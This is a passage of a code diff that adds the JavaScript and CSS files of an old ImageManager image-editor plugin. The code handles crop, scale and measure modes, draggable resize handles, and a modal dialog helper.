+ if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+ }else{tx=0;}}
+ ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+ if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
+ ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+ }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+ a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+ //alert(event.clientX);
+ if (event == null) x=document.body.scrollLeft + bx;
+ else x=document.body.scrollLeft + event.clientX + bx;
+ if (event == null) y=document.body.scrollTop;
+ else y=document.body.scrollTop + event.clientY;}}
+ }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+ for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+ if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+ if(el) {e=(document.layers)?el:el.style;
+ var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+ //alert(xx+":"+yy);
+ if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+ if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+ xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+ xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+ pic_x = parseInt(xx); pic_y = parseInt(yy);
+ //alert(xx+":"+yy);
+ }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize()
+{
+ if(mode == "scale")
+ {
+ P7_Snap('theImage','ant',0,0);
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ ant.style.left = pic_x; ant.style.top = pic_y;
+ ant.style.width = pic_width; ant.style.height = pic_height;
+ ant.style.visibility = "visible";
+
+ drawBoundHandle();
+ jg_doc.paint();
+ }
+}
+
+initEditor = function ()
+{
+ init_crop();
+ init_resize();
+ var markerImg = MM_findObj('markerImg', window.top.document);
+
+ if (markerImg.src.indexOf("img/t_white.gif")>0)
+ toggleMarker() ;
+}
+
+function init_crop()
+{
+ //if(mode == "crop") {
+ P7_Snap('theImage','ant',0,0);
+ //}
+}
+
+function setMode(newMode)
+{
+ mode = newMode;
+ reset();
+}
+
+function reset()
+{
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ ant.style.visibility = "hidden";
+ ant.style.left = 0;
+ ant.style.top = 0;
+ ant.style.width = 0;
+ ant.style.height = 0;
+
+ mx2 = null;
+ my2 = null;
+
+ jg_doc.clear();
+ if(mode != 'measure')
+ showStatus();
+
+ if(mode == "scale") {
+ init_resize();
+ }
+
+ P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker()
+{
+ //alert("Toggle");
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if(ant.className=="selection")
+ ant.className="selectionWhite";
+ else
+ ant.className="selection";
+
+ if (jg_doc.getColor() == "#000000")
+ jg_doc.setColor("#FFFFFF");
+ else
+ jg_doc.setColor("#000000");
+
+ drawBoundHandle
+ jg_doc.paint();
+}
+
+
+function move(e)
+{
+ if (dragapproved)
+ {
+ //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+ //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+ var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+ var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+ //alert(canvas.style.left);
+ /*if (status !=null)
+ {
+ status.innerHTML = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+ status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+ status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+ }*/
+
+ /*jg_doc.clear();
+ jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+ jg_doc.paint();
+*/
+ if (ant != null)
+ {
+ if (w >= 0)
+ {
+ ant.style.left = x;
+ ant.style.width = w;
+ }
+ else
+ {
+ ant.style.left = x+w;
+ ant.style.width = -1*w;
+ }
+
+ if (h >= 0)
+ {
+ ant.style.top = y;
+ ant.style.height = h;
+ }
+ else
+ {
+ ant.style.top = y+h;
+ ant.style.height = -1*h
+ }
+ }
+
+ showStatus();
+ return false
+ }
+}
+
+function moveContent(e)
+{
+ if (dragapproved)
+ {
+
+ var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+ var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+ /*if (status !=null)
+ {
+ status.innerHTML = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+ }*/
+
+ ant.style.left = dx;
+ ant.style.top = dy;
+
+ showStatus();
+
+ return false;
+ }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e)
+{
+ if (dragapproved)
+ {
+ var w = ns6? e.clientX - x : event.clientX - x;
+ var h = ns6? e.clientY - y : event.clientY - y;
+
+ var constrained = MM_findObj('constProp', window.top.document);
+ var orginal_height = document.theImage.height ;
+ var orginal_width = document.theImage.width ;
+ rapp = orginal_width/orginal_height ;
+ rapp_inv = orginal_height / orginal_width ;
+
+ switch(resizeHandle)
+ {
+
+ case "s-resize":
+ if (oa_h + h >= 0)
+ {
+ ant.style.height = oa_h + h;
+ if(constrained.checked)
+ {
+ ant.style.width = rapp * (oa_h + h) ;
+ ant.style.left = oa_x - rapp * h/2;
+ }
+
+ }
+ break;
+ case "e-resize":
+ if(oa_w + w >= 0)
+ {
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ {
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ ant.style.top = oa_y - rapp_inv * w/2;
+ }
+
+ }
+ break;
+ case "n-resize":
+ if (oa_h - h >= 0)
+ {
+ ant.style.top = oa_y + h;
+ ant.style.height = oa_h - h;
+ if(constrained.checked)
+ {
+ ant.style.width = rapp * (oa_h - h) ;
+ ant.style.left = oa_x + rapp * h/2;
+ }
+
+ }
+ break;
+ case "w-resize":
+ if(oa_w - w >= 0)
+ {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ if(constrained.checked)
+ {
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ ant.style.top = oa_y + rapp_inv * w/2;
+ }
+
+ }break;
+ case "nw-resize":
+ if(oa_h - h >= 0 && oa_w - w >= 0) {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ ant.style.top = oa_y + h;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ else
+ ant.style.height = oa_h - h;
+ }
+ break;
+ case "ne-resize":
+ if (oa_h - h >= 0 && oa_w + w >= 0){
+ ant.style.top = oa_y + h;
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ else
+ ant.style.height = oa_h - h;
+ }
+ break;
+ case "se-resize":
+ if (oa_h + h >= 0 && oa_w + w >= 0)
+ {
+ ant.style.width = oa_w + w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w + w) ;
+ else
+ ant.style.height = oa_h + h;
+ }
+ break;
+ case "sw-resize":
+ if (oa_h + h >= 0 && oa_w - w >= 0)
+ {
+ ant.style.left = oa_x + w;
+ ant.style.width = oa_w - w;
+ if(constrained.checked)
+ ant.style.height = rapp_inv * (oa_w - w) ;
+ else
+ ant.style.height = oa_h + h;
+ }
+ }
+
+ showStatus();
+ return false;
+
+ }
+}
+
+function drags(e)
+{
+ if (!ie&&!ns6)
+ return
+
+ var firedobj=ns6? e.target : event.srcElement
+ var topelement=ns6? "HTML" : "BODY"
+
+ while (firedobj.tagName!=topelement&&
+ !(firedobj.className=="crop"
+ || firedobj.className=="handleBox"
+ || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+ {
+ firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+ }
+
+ if(firedobj.className=="handleBox") {
+
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = 0;
+ content.height = 0;
+ }
+ //alert(content.width+":"+content.height);
+ }
+ resizeHandle = firedobj.id;
+
+ /*if(status!=null) {
+ status.innerHTML = " obj:"+firedobj.id;
+ }*/
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ oa_w = parseInt(ant.style.width);
+ oa_h = parseInt(ant.style.height);
+ oa_x = parseInt(ant.style.left);
+ oa_y = parseInt(ant.style.top);
+
+ dragapproved=true
+ document.onmousemove=moveHandle;
+ return false;
+ }
+ else
+ if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ oa_x = parseInt(ant.style.left);
+ oa_y = parseInt(ant.style.top);
+
+ dragapproved=true
+ document.onmousemove=moveContent;
+ return false;
+ }
+ else
+ if (firedobj.className=="crop" && mode == "crop")
+ {
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = 0;
+ content.height = 0;
+ }
+ //alert(content.width+":"+content.height);
+ }
+
+ if (status == null)
+ status = MM_findObj("status");
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+ if(content == null) {
+ content = MM_findObj("cropContent");
+ }
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ ant.style.visibility = "visible";
+
+ obj = firedobj;
+ dragapproved=true
+ z=firedobj
+ temp1=parseInt(z.style.left+0)
+ temp2=parseInt(z.style.top+0)
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+ document.onmousemove=move
+ return false
+ }
+ else if(firedobj.className=="crop" && mode == "measure") {
+
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+
+ x=ns6? e.clientX: event.clientX
+ y=ns6? e.clientY: event.clientY
+
+ //jg_doc.draw
+ dragapproved=true
+ document.onmousemove=measure
+
+ return false
+ }
+}
+
+function measure(e)
+{
+ if (dragapproved)
+ {
+ mx2 = ns6? e.clientX : event.clientX;
+ my2 = ns6? e.clientY : event.clientY;
+
+ jg_doc.clear();
+ jg_doc.setStroke(Stroke.DOTTED);
+ jg_doc.drawLine(x,y,mx2,my2);
+ jg_doc.paint();
+ showStatus();
+ return false;
+ }
+}
+
+function setMarker(nx,ny,nw,nh)
+{
+ if (ant == null)
+ ant = MM_findObj("ant");
+
+ if (canvas == null)
+ canvas = MM_findObj("imgCanvas");
+ if(content == null) {
+ content = MM_findObj("cropContent");
+ }
+
+ if (pic_width == null || pic_height == null)
+ {
+ image = MM_findObj("theImage");
+ pic_width = image.width;
+ pic_height = image.height;
+ }
+
+ ant.style.visibility = "visible";
+
+ nx = pic_x + nx;
+ ny = pic_y + ny;
+
+ if (nw >= 0)
+ {
+ ant.style.left = nx;
+ ant.style.width = nw;
+ }
+ else
+ {
+ ant.style.left = nx+nw;
+ ant.style.width = -1*nw;
+ }
+
+ if (nh >= 0)
+ {
+ ant.style.top = ny;
+ ant.style.height = nh;
+ }
+ else
+ {
+ ant.style.top = ny+nh;
+ ant.style.height = -1*nh
+ }
+
+
+}
+
+function max(x,y)
+{
+ if(y > x)
+ return x;
+ else
+ return y;
+}
+
+function drawBoundHandle()
+{
+ if(ant == null || ant.style == null)
+ return false;
+
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+
+ jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+ jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+ jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+ jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+ jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+ jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+ jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+ jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+ jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+ jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+ jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+ jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+ jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+ jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+ jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+ jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+ //jg_doc.paint();
+}
+
+function showStatus()
+{
+ if(ant == null || ant.style == null) {
+ return false;
+ }
+
+ if(mode == "measure") {
+ //alert(pic_x);
+ mx1 = x - pic_x;
+ my1 = y - pic_y;
+
+ mw = mx2 - x;
+ mh = my2 - y;
+
+ md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+ ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+ if(mw < 0 && mh < 0)
+ ma = ma+180;
+
+ if (mw <0 && mh >0)
+ ma = ma - 180;
+
+ ma = parseInt(ma*100)/100;
+
+ if (m_sx != null && !isNaN(mx1))
+ m_sx.value = mx1+"px";
+ if (m_sy != null && !isNaN(my1))
+ m_sy.value = my1+"px";
+ if(m_w != null && !isNaN(mw))
+ m_w.value = mw + "px";
+ if(m_h != null && !isNaN(mh))
+ m_h.value = mh + "px";
+
+ if(m_d != null && !isNaN(md))
+ m_d.value = md + "px";
+ if(m_a != null && !isNaN(ma))
+ m_a.value = ma + "";
+
+ if(r_ra != null &&!isNaN(ma))
+ r_ra.value = ma;
+
+ //alert("mx1:"+mx1+" my1"+my1);
+ return false;
+ }
+
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+
+ var cx = ax-pic_x<0?0:ax-pic_x;
+ var cy = ay-pic_y<0?0:ay-pic_y;
+ cx = cx>pic_width?pic_width:cx;
+ cy = cy>pic_height?pic_height:cy;
+
+ var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+ var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+ ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+ cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+ ch = ch<0?0:ch; cw = cw<0?0:cw;
+
+ if (ant.style.visibility == "hidden")
+ {
+ cx = ""; cy = ""; cw=""; ch="";
+ }
+
+ if(mode == 'crop') {
+ if(t_cx != null)
+ t_cx.value = cx;
+ if (t_cy != null)
+ t_cy.value = cy;
+ if(t_cw != null)
+ t_cw.value = cw;
+ if (t_ch != null)
+ t_ch.value = ch;
+ }
+ else if(mode == 'scale') {
+
+ var sw = aw, sh = ah;
+
+ if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+ {
+ sw = cw/pic_width;
+ sh = ch/pic_height;
+ }
+ if (s_sw != null)
+ s_sw.value = sw;
+ if (s_sh != null)
+ s_sh.value = sh;
+ }
+
+}
+
+function dragStopped()
+{
+ dragapproved=false;
+
+ if(ant == null || ant.style == null) {
+ return false;
+ }
+
+ if(mode == "measure") {
+ jg_doc.drawLine(x-4,y,x+4,y);
+ jg_doc.drawLine(x,y-4,x,y+4);
+ jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+ jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+ jg_doc.paint();
+ showStatus();
+ return false;
+ }
+ var ah = parseInt(ant.style.height);
+ var aw = parseInt(ant.style.width);
+ var ax = parseInt(ant.style.left);
+ var ay = parseInt(ant.style.top);
+ jg_doc.clear();
+
+ if(content != null) {
+ if(content.width != null && content.height != null) {
+ content.width = aw-1;
+ content.height = ah-1;
+ }
+ //alert(content.width+":"+content.height);
+ }
+ if(mode == "crop") {
+ //alert(pic_y);
+ jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+
+ var h1 = ah;
+ var y1 = ay;
+ if (ah+ay >= pic_height+pic_y)
+ h1 = pic_height+pic_y-ay;
+ else if (ay <= pic_y)
+ {
+ h1 = ay+ah-pic_y;
+ y1 = pic_y;
+ }
+ jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+ jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
+ jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+ }
+ else if(mode == "scale") {
+ //alert("Resizing: iw:"+image.width+" nw:"+aw);
+ document.theImage.height = ah;
+ document.theImage.width = aw;
+ document.theImage.style.height = ah+" px";
+ document.theImage.style.width = aw+" px";
+
+ P7_Snap('theImage','ant',0,0);
+
+ //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+ }
+
+ drawBoundHandle();
+ jg_doc.paint();
+
+ showStatus();
+ return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
--- /dev/null
+.icons {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ border: 1px solid #EEEEFF;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ background-color: #F9F9FF;
+ border: 1px solid #666699;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+}
+.iconsSel {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-align: center;
+ text-decoration: none;
+ border: 1px solid #666699;
+ -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+ font: 11px Tahoma,Verdana,sans-serif;
+ color: #666699;
+ text-decoration: none;
+ text-align: center;
+}
+.measureStats{
+ width: 50px;
+}
+
+#slidercasing {
+ /*border:1px solid #CCCCCC;
+ background-color:#FFFFFF;*/
+ width:100px;
+ height:5px;
+ position:relative;
+ z-index:4;
+ padding:10px;
+}
+
+
+#slidertrack {
+ position:relative;
+ border:1px solid #CCCCCC;
+ background-color:#FFFFCC;
+ z-index:5;
+ height:5px;
+}
+
+
+#sliderbar {
+ position:absolute;
+ z-index:6;
+ border:1px solid #CCCCCC;
+ background-color:#DDDDDD;
+ width:15px;
+ padding:0px;
+ height:20px;
+ cursor: pointer;
+ top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
--- /dev/null
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object. Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+ if (typeof init == "undefined") {
+ init = window; // pass this window object by default
+ }
+ Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
+ setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+ if (Dialog._modal && !Dialog._modal.closed) {
+ Dialog._stopEvent(ev);
+ }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+ //var urlLink = "hadialog"+url.toString();
+ var myURL = "hadialog"+url;
+ var regObj = /\W/g;
+ myURL = myURL.replace(regObj,'_');
+ var dlg = window.open(url, myURL,
+ "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+ "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+ Dialog._modal = dlg;
+ Dialog._arguments = init;
+
+ // capture some window's events
+ function capwin(w) {
+ Dialog._addEvent(w, "click", Dialog._parentEvent);
+ Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+ Dialog._addEvent(w, "focus", Dialog._parentEvent);
+ };
+ // release the captured events
+ function relwin(w) {
+ Dialog._removeEvent(w, "click", Dialog._parentEvent);
+ Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+ Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+ };
+ capwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+ // make up a function to be called when the Dialog ends.
+ Dialog._return = function (val) {
+ if (val && action) {
+ action(val);
+ }
+ relwin(window);
+ // capture other frames
+ for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+ Dialog._modal = null;
+ };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+ if (Dialog.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+ if (Dialog.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+
+Dialog._stopEvent = function(ev) {
+ if (Dialog.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
--- /dev/null
+ body
+ {
+ margin: 0; padding: 0;
+ font: 11px Tahoma,Verdana,sans-serif;
+ }
+ select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+ #indicator
+ {
+ width: 25px;
+ height: 20px;
+ background-color: #eef;
+ padding: 15px 20px;
+ position: absolute;
+ left: 0; top: 0;
+ }
+ * html #indicator
+ {
+ padding: 14px 22px;
+ }
+ #tools
+ {
+ width: 600px;
+ height: 50px;
+ background-color: #eef;
+ padding: 0;
+ position: absolute;
+ left: 63px;
+ border-left: 1px solid white;
+ border-bottom: 1px solid white;
+ }
+ #toolbar
+ {
+ width: 53px;
+ height: 435px;
+ background-color: #eef;
+ float: left;
+ text-align: center;
+ padding: 5px;
+ position: absolute;
+ top: 50px;
+ border-top: 1px solid white;
+ border-right: 1px solid white;
+ }
+
+ #contents
+ {
+ width: 600px;
+ height: 445px;
+ position: absolute;
+ left: 64px; top: 51px;
+ }
+
+ #editor
+ {
+ width: 600px;
+ height: 445px;
+ }
+
+ #toolbar a
+ {
+ padding: 5px;
+ width: 40px;
+ display: block;
+ border: 1px solid #eef;
+ text-align: center;
+ text-decoration: none;
+ color: #669;
+ margin: 5px 0;
+ }
+ #toolbar a:hover
+ {
+ background-color: #F9F9FF;
+ border-color: #669;
+ }
+
+ #toolbar a.iconActive
+ {
+ border-color: #669;
+ }
+
+ #toolbar a span
+ {
+ display: block;
+ text-decoration: none;
+
+ }
+ #toolbar a img
+ {
+ border: 0 none;
+ }
+
+ #tools .textInput
+ {
+ width: 3em;
+ vertical-align: 0px;
+
+ }
+ * html #tools .textInput
+ {
+ vertical-align: middle;
+ }
+ #tools .measureStats
+ {
+ width: 4.5em;
+ border: 0 none;
+ background-color: #eef;
+ vertical-align: 0px;
+ }
+ * html #tools .measureStats
+ {
+ vertical-align: middle;
+ }
+ #tools label
+ {
+ margin: 0 2px 0 5px;
+ }
+ #tools input
+ {
+ vertical-align: middle;
+ }
+ #tools #tool_inputs
+ {
+ padding-top: 10px;
+ float: left;
+ }
+ #tools .div
+ {
+ vertical-align: middle;
+ margin: 0 5px;
+ }
+ #tools img
+ {
+ border: 0 none;
+ }
+ #tools a.buttons
+ {
+ margin-top: 10px;
+ border: 1px solid #eef;
+ display: block;
+ float: left;
+ }
+ #tools a.buttons:hover
+ {
+ background-color: #F9F9FF;
+ border-color: #669;
+ }
+ #slidercasing {
+ /*border:1px solid #CCCCCC;
+ background-color:#FFFFFF;*/
+ width:100px;
+ height:5px;
+ position:relative;
+ z-index:4;
+ padding:10px;
+ top: 6px;
+ margin: 0 -5px 0 -10px;
+
+
+}
+
+
+#slidertrack {
+ position:relative;
+ border:1px solid #CCCCCC;
+ background-color:#FFFFCC;
+ z-index:5;
+ height:5px;
+}
+
+
+#sliderbar {
+ position:absolute;
+ z-index:6;
+ border:1px solid #CCCCCC;
+ background-color:#DDDDDD;
+ width:15px;
+ padding:0px;
+ height:20px;
+ cursor: pointer;
+ top:2px;
+}
+
+* html #slidercasing
+{
+ top:0;
+}
+
+
+#bottom
+{
+ position: relative;
+ top: 490px;
+}
--- /dev/null
+/**
+ * Functions for the ImageEditor interface, used by editor.php only
+ * @author $Author: cscott $
+ * @version $Id: editor.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+ var current_action = null;
+ var actions = ['crop', 'scale', 'rotate', 'measure', 'save'];
+ var orginal_width = null, orginal_height=null;
+ function toggle(action)
+ {
+ if(current_action != action)
+ {
+
+ for (var i in actions)
+ {
+ if(actions[i] != action)
+ {
+ var tools = document.getElementById('tools_'+actions[i]);
+ tools.style.display = 'none';
+ var icon = document.getElementById('icon_'+actions[i]);
+ icon.className = '';
+ }
+ }
+
+ current_action = action;
+
+ var tools = document.getElementById('tools_'+action);
+ tools.style.display = 'block';
+ var icon = document.getElementById('icon_'+action);
+ icon.className = 'iconActive';
+
+ var indicator = document.getElementById('indicator_image');
+ indicator.src = 'img/'+action+'.gif';
+
+ editor.setMode(current_action);
+
+ //constraints on the scale,
+ //code by Frédéric Klee <fklee@isuisse.com>
+ if(action == 'scale')
+ {
+ var theImage = editor.window.document.getElementById('theImage');
+ orginal_width = theImage.width ;
+ orginal_height = theImage.height;
+
+ var w = document.getElementById('sw');
+ w.value = orginal_width ;
+ var h = document.getElementById('sh') ;
+ h.value = orginal_height ;
+ }
+
+ }
+ }
+
+ function toggleMarker()
+ {
+ var marker = document.getElementById("markerImg");
+
+ if(marker != null && marker.src != null) {
+ if(marker.src.indexOf("t_black.gif") >= 0)
+ marker.src = "img/t_white.gif";
+ else
+ marker.src = "img/t_black.gif";
+
+ editor.toggleMarker();
+ }
+ }
+
+ //Togggle constraints, by Frédéric Klee <fklee@isuisse.com>
+ function toggleConstraints()
+ {
+ var lock = document.getElementById("scaleConstImg");
+ var checkbox = document.getElementById("constProp");
+
+ if(lock != null && lock.src != null) {
+ if(lock.src.indexOf("unlocked2.gif") >= 0)
+ {
+ lock.src = "img/islocked2.gif";
+ checkbox.checked = true;
+ checkConstrains('width');
+
+ }
+ else
+ {
+ lock.src = "img/unlocked2.gif";
+ checkbox.checked = false;
+ }
+ }
+ }
+
+ //check the constraints, by Frédéric Klee <fklee@isuisse.com>
+ function checkConstrains(changed)
+ {
+ var constrained = document.getElementById('constProp');
+ if(constrained.checked)
+ {
+ var w = document.getElementById('sw') ;
+ var width = w.value ;
+ var h = document.getElementById('sh') ;
+ var height = h.value ;
+
+ if(orginal_width > 0 && orginal_height > 0)
+ {
+ if(changed == 'width' && width > 0)
+ h.value = parseInt((width/orginal_width)*orginal_height);
+ else if(changed == 'height' && height > 0)
+ w.value = parseInt((height/orginal_height)*orginal_width);
+ }
+ }
+
+ updateMarker('scale') ;
+ }
+
+
+ function updateMarker(mode)
+ {
+ if (mode == 'crop')
+ {
+ var t_cx = document.getElementById('cx');
+ var t_cy = document.getElementById('cy');
+ var t_cw = document.getElementById('cw');
+ var t_ch = document.getElementById('ch');
+
+ editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+ }
+ else if(mode == 'scale') {
+ var s_sw = document.getElementById('sw');
+ var s_sh = document.getElementById('sh');
+ editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+ }
+ }
+
+
+ function rotatePreset(selection)
+ {
+ var value = selection.options[selection.selectedIndex].value;
+
+ if(value.length > 0 && parseInt(value) != 0) {
+ var ra = document.getElementById('ra');
+ ra.value = parseInt(value);
+ }
+ }
+
+ function updateFormat(selection)
+ {
+ var selected = selection.options[selection.selectedIndex].value;
+
